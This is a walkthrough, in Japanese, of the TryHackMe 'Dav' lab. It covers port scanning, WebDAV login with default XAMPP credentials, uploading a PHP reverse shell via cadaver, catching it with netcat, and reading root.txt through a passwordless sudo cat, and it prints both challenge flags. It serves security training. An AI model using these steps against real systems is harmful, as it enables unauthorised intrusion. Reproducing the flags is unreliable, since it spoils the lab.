【TryHackMe】Dav：Walkthrough

# 概要

TryHackMe「Dav」のWalkthroughです。

https://tryhackme.com/r/room/bsidesgtdav

# Task1

## **Q1**.*user.txt*

`nmap`でポートスキャンを実行します。

```
$ nmap -Pn -sC -A -T4 -sV -p- 10.10.100.237 -oN nmap_result
Nmap scan report for 10.10.100.237
Host is up (0.24s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT      STATE    SERVICE VERSION
80/tcp    open     http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.18 (Ubuntu)
34578/tcp filtered unknown
```

ポートの稼働状況が分かりました。

|ポート|サービス|バージョン|
|:-:|:-:|:-:|
|80|http|Apache httpd 2.4.18|

ディレクトリの列挙を行います。

```
$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -u http://10.10.100.237/FUZZ -recursion -recursion-depth 1 -ic -c
                        [Status: 200, Size: 11321, Words: 3503, Lines: 376, Duration: 1716ms]
webdav                  [Status: 401, Size: 460, Words: 42, Lines: 15, Duration: 237ms]
```

`/webdav`ではBasic認証が実装されていました。

![webdav basic.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/e24092a0-7ee3-d087-61b3-8030e4277ad8.png)

ApacheのWebDavモジュールが使用されている可能性がります。
`webdav default credentials`などで検索するとデフォルトのクレデンシャル情報を発見しました。

http://xforeveryman.blogspot.com/2012/01/helper-webdav-xampp-173-default.html

`user: wampp`,`pass: xampp`でログイン出来ました。

![webdav.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/e3416e56-a66a-6007-0279-cd9ac57d8ec4.png)

`passwd.dav`ファイルには`wampp`のパスワードハッシュ値があります。

![password.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/6dadd67f-f04e-b5fe-a1b9-e0c252d321cd.png)

John The Ripperで解析を試みましたが成功しませんでした。

```
$ john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:59 DONE (2024-06-23 21:22) 0g/s 235668p/s 235668c/s 235668C/s  ejngyhga007..*7¡Vamos!
Session completed.
```

他にWebDavではPUTメソッドを用いたリバースシェルが実行可能だと分かりました。

https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/put-method-webdav

`cadaver`を用いてリバースシェルファイルをアップロードします。

https://www.kali.org/tools/cadaver/

https://www.kalilinux.in/2021/06/cadaver-exploit-http-put-vulnerability-kali-linux.html

PHPのリバースシェルペイロードをアップロードしました。

```
$ cadaver http://10.10.189.24/webdav
Authentication required for webdav on server `10.10.189.24':
Username: wampp
Password: 
dav:/webdav/> put /home/kali/Dav/php-reverse-shell.php
Uploading /home/kali/Dav/php-reverse-shell.php to `/webdav/php-reverse-shell.php':
Progress: [=============================>] 100.0% of 5493 bytes succeeded.
```

Netcatでリッスンし、`http://<ip>/webdav/php-reverse-shell.php`へアクセスするとシェルを取得できました。

```
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.189.24] 57864
Linux ubuntu 4.4.0-159-generic #187-Ubuntu SMP Thu Aug 1 16:28:06 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
 19:03:31 up 6 min,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
```

`/home/merlin/user.txt`ファイルからフラグを入手できました。

```
$ cat /home/merlin/user.txt
449b40fe93f78a938523b7e4dcd66d2a
```

**A**.**449b40fe93f78a938523b7e4dcd66d2a**

## **Q2**.*root.txt*

`sudo -l`で確認すると`/bin/cat`コマンドがパスワードなしのroot権限で実行できるので`/root/root.txt`からフラグを入手できました。

```
$ sudo /bin/cat /root/root.txt
101101ddc16b0cdf65ba0b8a7af7afa5
```

**A**.**101101ddc16b0cdf65ba0b8a7af7afa5**